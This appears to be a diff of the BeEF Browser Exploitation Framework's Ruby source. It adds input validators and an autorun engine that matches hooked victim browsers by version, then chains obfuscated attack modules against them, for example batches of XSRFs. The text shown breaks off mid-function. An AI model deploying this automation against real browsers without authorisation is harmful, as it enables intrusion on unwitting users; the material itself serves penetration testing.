|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether one of the characters exists in the string
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str).nil?
|
||||
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
|
||||
# Check for null char
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has a null character
|
||||
@@ -98,14 +98,77 @@ module Filters
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?("a-zA-Z0-9", str)
|
||||
end
|
||||
|
||||
# Check if valid ip address string
|
||||
# @param [String] ip String for testing
|
||||
# @return [Boolean] If the string is a valid IP address
|
||||
# @note only IPv4 compliant
|
||||
def self.is_valid_ip?(ip)
|
||||
return false if not is_non_empty_string?(ip)
|
||||
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
|
||||
|
||||
# @overload self.is_valid_ip?(version, ip)
|
||||
# Checks if the given string is a valid IP address
|
||||
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IP address, otherwise false
|
||||
#
|
||||
# @overload self.is_valid_ip?(ip)
|
||||
# Checks if the given string is either a valid IPv4 or IPv6 address
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
|
||||
def self.is_valid_ip?(version = :both, ip)
|
||||
valid = false
|
||||
|
||||
if is_non_empty_string?(ip)
|
||||
valid = case version.inspect.downcase
|
||||
when /^:ipv4$/
|
||||
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
|
||||
when /^:ipv6$/
|
||||
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,7}:|
|
||||
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
|
||||
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
|
||||
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
|
||||
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
|
||||
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
|
||||
:((:[0-9a-f]{1,4}){1,7}|:)|
|
||||
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
|
||||
::(ffff(:0{1,4}){0,1}:){0,1}
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
|
||||
([0-9a-f]{1,4}:){1,4}:
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
|
||||
when /^:both$/
|
||||
is_valid_ip?(:ipv4, ip) || is_valid_ip?(:ipv6, ip)
|
||||
end ? true : false
|
||||
end
|
||||
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid private IP address
|
||||
# @param [String] ip string for testing
|
||||
# @return [Boolean] true if the string is a valid private IP address, otherwise false
|
||||
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8,
|
||||
# but does not include local-link addresses.
|
||||
def self.is_valid_private_ip?(ip)
|
||||
return false unless is_valid_ip?(ip)
|
||||
return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid TCP port
|
||||
# @param [String] port string for testing
|
||||
# @return [Boolean] true if the string is a valid TCP port, otherwise false
|
||||
def self.is_valid_port?(port)
|
||||
valid = false
|
||||
valid = true if port.to_i > 0 && port.to_i < 2**16
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if string is a valid domain name
|
||||
# @param [String] domain string for testing
|
||||
# @return [Boolean] If the string is a valid domain name
|
||||
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of
|
||||
# TLD's is not static.
|
||||
def self.is_valid_domain?(domain)
|
||||
return false unless is_non_empty_string?(domain)
|
||||
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
|
||||
false
|
||||
end
|
||||
|
||||
@@ -138,6 +201,6 @@ module Filters
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -12,7 +12,7 @@ module Filters
|
||||
def self.is_valid_browsername?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length > 2
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
@@ -22,7 +22,7 @@ module Filters
|
||||
def self.is_valid_browsertype?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length < 10
|
||||
return false if str.length > 50
|
||||
return false if str.length > 500 #CxF - had to increase this because the Chrome detection JSON String is getting bigger.
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
@@ -32,7 +32,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid Operating System name characters
|
||||
def self.is_valid_osname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
||||
@@ -51,11 +51,25 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser version characters
|
||||
def self.is_valid_browserversion?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return true if str.eql? "ALL"
|
||||
return false if not nums_only?(str) and not is_valid_float?(str)
|
||||
return false if str.length > 10
|
||||
return false if str.length > 20
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the os version string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid os version characters
|
||||
def self.is_valid_osversion?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return true if str.eql? "ALL"
|
||||
return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str)
|
||||
return false if str.length > 20
|
||||
true
|
||||
end
|
||||
|
||||
@@ -64,7 +78,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid browser / ua string characters
|
||||
def self.is_valid_browserstring?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 300
|
||||
true
|
||||
end
|
||||
@@ -73,7 +87,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid cookie characters
|
||||
def self.is_valid_cookies?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 2000
|
||||
true
|
||||
end
|
||||
@@ -82,7 +96,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid screen size characters
|
||||
def self.is_valid_screen_size?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
@@ -91,7 +105,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid window size characters
|
||||
def self.is_valid_window_size?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
@@ -114,6 +128,16 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the CPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid CPU type characters
|
||||
def self.is_valid_cpu?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser_plugins string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser plugin characters
|
||||
@@ -123,9 +147,9 @@ module Filters
|
||||
return true if not is_non_empty_string?(str)
|
||||
return false if str.length > 1000
|
||||
if RUBY_VERSION >= "1.9" && str.encoding === Encoding.find('UTF-8')
|
||||
return (str =~ /[^\w\d\s()-.,;_!\302\256]/u).nil?
|
||||
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
|
||||
else
|
||||
return (str =~ /[^\w\d\s()-.,;_!\302\256]/n).nil?
|
||||
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -14,8 +14,6 @@ module Filters
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 255
|
||||
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
|
||||
return false if not (str =~ /\.\./).nil?
|
||||
return false if not (str =~ /\-\-/).nil?
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -12,7 +12,7 @@ module Filters
|
||||
def self.is_valid_pagetitle?(str)
|
||||
return false if not str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 50
|
||||
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -15,6 +15,8 @@ require 'ipaddr'
|
||||
require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'openssl'
|
||||
require 'rubydns'
|
||||
require 'mime/types'
|
||||
|
||||
# @note Include the filters
|
||||
require 'core/filters'
|
||||
@@ -29,4 +31,4 @@ require 'core/api'
|
||||
require 'core/settings'
|
||||
|
||||
# @note Include the core of BeEF
|
||||
require 'core/core'
|
||||
require 'core/core'
|
||||
|
||||
458
core/main/autorun_engine/engine.rb
Normal file
458
core/main/autorun_engine/engine.rb
Normal file
@@ -0,0 +1,458 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class Engine
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
@result_poll_interval = @config.get('beef.autorun.result_poll_interval')
|
||||
@result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')
|
||||
@continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')
|
||||
|
||||
@debug_on = @config.get('beef.debug')
|
||||
|
||||
@VERSION = ['<','<=','==','>=','>','ALL']
|
||||
@VERSION_STR = ['XP','Vista']
|
||||
end
|
||||
|
||||
|
||||
# Prepare and return the JavaScript of the modules to be sent.
|
||||
# It also updates the rules ARE execution table with timings
|
||||
def trigger(rule_ids, hb_id)
|
||||
|
||||
hb = BeEF::HBManager.get_by_id(hb_id)
|
||||
hb_session = hb.session
|
||||
|
||||
rule_ids.each do |rule_id|
|
||||
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
|
||||
modules = JSON.parse(rule.modules)
|
||||
|
||||
execution_order = JSON.parse(rule.execution_order)
|
||||
execution_delay = JSON.parse(rule.execution_delay)
|
||||
chain_mode = rule.chain_mode
|
||||
|
||||
mods_bodies = Array.new
|
||||
mods_codes = Array.new
|
||||
mods_conditions = Array.new
|
||||
|
||||
modules.each do |cmd_mod|
|
||||
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
|
||||
options = []
|
||||
replace_input = false
|
||||
cmd_mod['options'].each do|k,v|
|
||||
options.push({'name' => k, 'value' => v})
|
||||
replace_input = true if v == '<<mod_input>>'
|
||||
end
|
||||
|
||||
command_body = prepare_command(mod, options, hb_id, replace_input)
|
||||
mods_bodies.push(command_body)
|
||||
mods_codes.push(cmd_mod['code'])
|
||||
mods_conditions.push(cmd_mod['condition'])
|
||||
end
|
||||
|
||||
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
|
||||
case chain_mode
|
||||
when 'nested-forward'
|
||||
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order)
|
||||
when 'sequential'
|
||||
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay)
|
||||
else
|
||||
wrapper = nil
|
||||
# TODO catch error, which should never happen as values are checked way before ;-)
|
||||
end
|
||||
|
||||
are_exec = BeEF::Core::AutorunEngine::Models::Execution.new(
|
||||
:session => hb_session,
|
||||
:mod_count => modules.length,
|
||||
:mod_successful => 0,
|
||||
:mod_body => wrapper,
|
||||
:is_sent => false,
|
||||
:rule_id => rule_id
|
||||
)
|
||||
are_exec.save
|
||||
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
|
||||
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
|
||||
# Launch order is also taken care of.
|
||||
# - sequential chain with delays (setTimeout stuff)
|
||||
# ex.: setTimeout(module_one(), 0);
|
||||
# setTimeout(module_two(), 2000);
|
||||
# setTimeout(module_three(), 3000);
|
||||
# Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring
|
||||
# what their status will be (for instance, a bunch of XSRFs on a set of targets)
|
||||
def prepare_sequential_wrapper(mods, order, delay)
|
||||
wrapper = ''
|
||||
delayed_exec = ''
|
||||
c = 0
|
||||
|
||||
while c < mods.length
|
||||
delayed_exec += %Q| setTimeout("#{mods[order[c]][:mod_name]}();", #{delay[c]}); |
|
||||
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
|
||||
wrapper += wrapped_mod
|
||||
c += 1
|
||||
end
|
||||
wrapper += delayed_exec
|
||||
print_more "Final Modules Wrapper:\n #{delayed_exec}" if @debug_on
|
||||
wrapper
|
||||
end
|
||||
|
||||
# Wraps module bodies in their own function, then start to execute them from the first, polling for
|
||||
# command execution status/results (with configurable polling interval and timeout).
|
||||
# Launch order is also taken care of.
|
||||
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
|
||||
# ex.: module_one()
|
||||
# if condition
|
||||
# module_two(module_one_output)
|
||||
# if condition
|
||||
# module_three(module_two_output)
|
||||
#
|
||||
# Note: command result status is checked, and you can properly chain input into output, having also
|
||||
# the flexibility of slightly mangling it to adapt to module needs.
|
||||
# Note: Useful in situations where you want to launch 2 modules, where the second one will execute only
|
||||
# if the first once return with success. Also, the second module has the possibility of mangling first
|
||||
# module output and use it as input for some of its module inputs.
|
||||
def prepare_nested_forward_wrapper(mods, code, conditions, order)
|
||||
wrapper, delayed_exec = '',''
|
||||
delayed_exec_footers = Array.new
|
||||
c = 0
|
||||
|
||||
while c < mods.length
|
||||
if mods.length == 1
|
||||
i = c
|
||||
else
|
||||
i = c + 1
|
||||
end
|
||||
|
||||
code_snippet = ''
|
||||
mod_input = ''
|
||||
if code[c] != 'null' && code[c] != ''
|
||||
code_snippet = code[c]
|
||||
mod_input = 'mod_input'
|
||||
end
|
||||
|
||||
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
|
||||
|
||||
if c == 0
|
||||
# this is the first wrapper to prepare
|
||||
delayed_exec += %Q|
|
||||
function #{mods[order[c]][:mod_name]}_f(){
|
||||
#{mods[order[c]][:mod_name]}();
|
||||
|
||||
// TODO add timeout to prevent infinite loops
|
||||
function isResReady(mod_result, start){
|
||||
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
|
||||
// loop
|
||||
}else{
|
||||
// module return status/data is now available
|
||||
clearInterval(resultReady);
|
||||
if (mod_result === null && #{@continue_after_timeout}){
|
||||
var mod_result = [];
|
||||
mod_result[0] = 1; //unknown status
|
||||
mod_result[1] = '' //empty result
|
||||
}
|
||||
var status = mod_result[0];
|
||||
if(#{conditions[i]}){
|
||||
#{mods[order[i]][:mod_name]}_can_exec = true;
|
||||
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
||||
|
|
||||
|
||||
delayed_exec_footer = %Q|
|
||||
}
|
||||
}
|
||||
}
|
||||
var start = (new Date()).getTime();
|
||||
var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
|
||||
}
|
||||
#{mods[order[c]][:mod_name]}_f();
|
||||
|
|
||||
|
||||
delayed_exec_footers.push(delayed_exec_footer)
|
||||
|
||||
elsif c < mods.length - 1
|
||||
# this is one of the wrappers in the middle of the chain
|
||||
delayed_exec += %Q|
|
||||
function #{mods[order[c]][:mod_name]}_f(){
|
||||
if(#{mods[order[c]][:mod_name]}_can_exec){
|
||||
#{code_snippet}
|
||||
#{mods[order[c]][:mod_name]}(#{mod_input});
|
||||
function isResReady(mod_result, start){
|
||||
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
|
||||
// loop
|
||||
}else{
|
||||
// module return status/data is now available
|
||||
clearInterval(resultReady);
|
||||
if (mod_result === null && #{@continue_after_timeout}){
|
||||
var mod_result = [];
|
||||
mod_result[0] = 1; //unknown status
|
||||
mod_result[1] = '' //empty result
|
||||
}
|
||||
var status = mod_result[0];
|
||||
if(#{conditions[i]}){
|
||||
#{mods[order[i]][:mod_name]}_can_exec = true;
|
||||
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
||||
|
|
||||
|
||||
delayed_exec_footer = %Q|
|
||||
}
|
||||
}
|
||||
}
|
||||
var start = (new Date()).getTime();
|
||||
var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
|
||||
}
|
||||
}
|
||||
#{mods[order[c]][:mod_name]}_f();
|
||||
|
|
||||
|
||||
delayed_exec_footers.push(delayed_exec_footer)
|
||||
else
|
||||
# this is the last wrapper to prepare
|
||||
delayed_exec += %Q|
|
||||
function #{mods[order[c]][:mod_name]}_f(){
|
||||
if(#{mods[order[c]][:mod_name]}_can_exec){
|
||||
#{code_snippet}
|
||||
#{mods[order[c]][:mod_name]}(#{mod_input});
|
||||
}
|
||||
}
|
||||
#{mods[order[c]][:mod_name]}_f();
|
||||
|
|
||||
end
|
||||
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
|
||||
wrapper += wrapped_mod
|
||||
c += 1
|
||||
end
|
||||
wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n")
|
||||
print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on
|
||||
wrapper
|
||||
end
|
||||
|
||||
|
||||
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
|
||||
# and store it in the database.
|
||||
# Returns the raw module body after template substitution.
|
||||
def prepare_command(mod, options, hb_id, replace_input)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
begin
|
||||
command = BeEF::Core::Models::Command.new(
|
||||
:data => options.to_json,
|
||||
:hooked_browser_id => hb_id,
|
||||
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
|
||||
:creationdate => Time.new.to_i,
|
||||
:instructions_sent => true
|
||||
)
|
||||
command.save
|
||||
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id)
|
||||
if (command_module.path.match(/^Dynamic/))
|
||||
# metasploit and similar integrations
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
# normal modules always here
|
||||
key = BeEF::Module.get_key_by_database_id(mod.id)
|
||||
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
|
||||
end
|
||||
|
||||
hb = BeEF::HBManager.get_by_id(hb_id)
|
||||
hb_session = hb.session
|
||||
command_module.command_id = command.id
|
||||
command_module.session_id = hb_session
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
command_body = evasion.obfuscate(command_module.output) + "\n\n"
|
||||
else
|
||||
command_body = command_module.output + "\n\n"
|
||||
end
|
||||
|
||||
# @note prints the event to the console
|
||||
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
|
||||
|
||||
replace_input ? mod_input = 'mod_input' : mod_input = ''
|
||||
result = %Q|
|
||||
var #{mod.name} = function(#{mod_input}){
|
||||
#{clean_command_body(command_body, replace_input)}
|
||||
};
|
||||
var #{mod.name}_can_exec = false;
|
||||
var #{mod.name}_mod_output = null;
|
||||
|
|
||||
|
||||
return {:mod_name => mod.name, :mod_body => result}
|
||||
rescue => e
|
||||
print_error e.message
|
||||
print_debug e.backtrace.join("\n")
|
||||
end
|
||||
end
|
||||
|
||||
# Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than
|
||||
# using the default behavior of adding the module to an array and execute it at polling time.
|
||||
#
|
||||
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
|
||||
def clean_command_body(command_body, replace_input)
|
||||
begin
|
||||
cmd_body = command_body.lines.map(&:chomp)
|
||||
wrapper_start_index,wrapper_end_index = nil
|
||||
cmd_body.each_with_index do |line, index|
|
||||
if line.include?('beef.execute(function()')
|
||||
wrapper_start_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
cmd_body.reverse.each_with_index do |line, index|
|
||||
if line.include?('});')
|
||||
wrapper_end_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
cleaned_cmd_body = cmd_body.slice(wrapper_start_index+1..-(wrapper_end_index+2)).join("\n")
|
||||
|
||||
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
|
||||
if replace_input
|
||||
if cleaned_cmd_body.include?('"<<mod_input>>"')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
|
||||
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
|
||||
elsif cleaned_cmd_body.include?('<<mod_input>>')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
|
||||
else
|
||||
return cleaned_cmd_body
|
||||
end
|
||||
return final_cmd_body
|
||||
else
|
||||
return cleaned_cmd_body
|
||||
end
|
||||
rescue => e
|
||||
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body.dd"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Checks if there are any ARE rules to be triggered for the specified hooked browser
|
||||
#
|
||||
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
|
||||
# Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
|
||||
#
|
||||
# Returns an array with rule IDs that matched and should be triggered.
|
||||
# if rule_id is specified, checks will be executed only against the specified rule (useful
|
||||
# for dynamic triggering of new rulesets ar runtime)
|
||||
def match(browser, browser_version, os, os_version, rule_id=nil)
|
||||
match_rules = []
|
||||
if rule_id != nil
|
||||
rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)]
|
||||
else
|
||||
rules = BeEF::Core::AutorunEngine::Models::Rule.all()
|
||||
end
|
||||
return nil if rules == nil
|
||||
|
||||
print_info "[ARE] Checking if any defined rules should be triggered on target."
|
||||
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
|
||||
# TODO the above works well, but maybe rules need to have priority or something?
|
||||
rules.each do |rule|
|
||||
begin
|
||||
browser_match, os_match = false, false
|
||||
|
||||
b_ver_cond = rule.browser_version.split(' ').first
|
||||
b_ver = rule.browser_version.split(' ').last
|
||||
|
||||
os_ver_rule_cond = rule.os_version.split(' ').first
|
||||
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
|
||||
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
|
||||
|
||||
# Most of the times Linux/*BSD OS doesn't return any version
|
||||
# (TODO: improve OS detection on these operating systems)
|
||||
if os_version != nil && !@VERSION_STR.include?(os_version)
|
||||
os_ver_hook_maj = os_version.split('.').first
|
||||
os_ver_hook_min = os_version.split('.').last
|
||||
|
||||
# the following assignments to 0 are need for later checks like:
|
||||
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
|
||||
os_ver_hook_min = 0 if os_version.split('.').length == 1
|
||||
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
|
||||
else
|
||||
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
|
||||
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
|
||||
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
|
||||
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
|
||||
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
|
||||
end
|
||||
|
||||
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
|
||||
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista'
|
||||
|
||||
next unless @VERSION.include?(b_ver_cond)
|
||||
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
|
||||
|
||||
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
|
||||
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
|
||||
|
||||
# check if the browser and OS types do match
|
||||
next unless rule.browser == 'ALL' || browser == rule.browser
|
||||
next unless rule.os == 'ALL' || os == rule.os
|
||||
|
||||
# check if the browser version match
|
||||
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
|
||||
if browser_version_match
|
||||
browser_match = true
|
||||
else
|
||||
browser_match = false
|
||||
end
|
||||
|
||||
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
|
||||
|
||||
# check if the OS versions match
|
||||
if os_version != nil || rule.os_version != 'ALL'
|
||||
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
|
||||
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
|
||||
else
|
||||
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
|
||||
os_major_version_match, os_minor_version_match = true, true
|
||||
end
|
||||
|
||||
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
|
||||
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
|
||||
|
||||
if browser_match && os_match
|
||||
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
|
||||
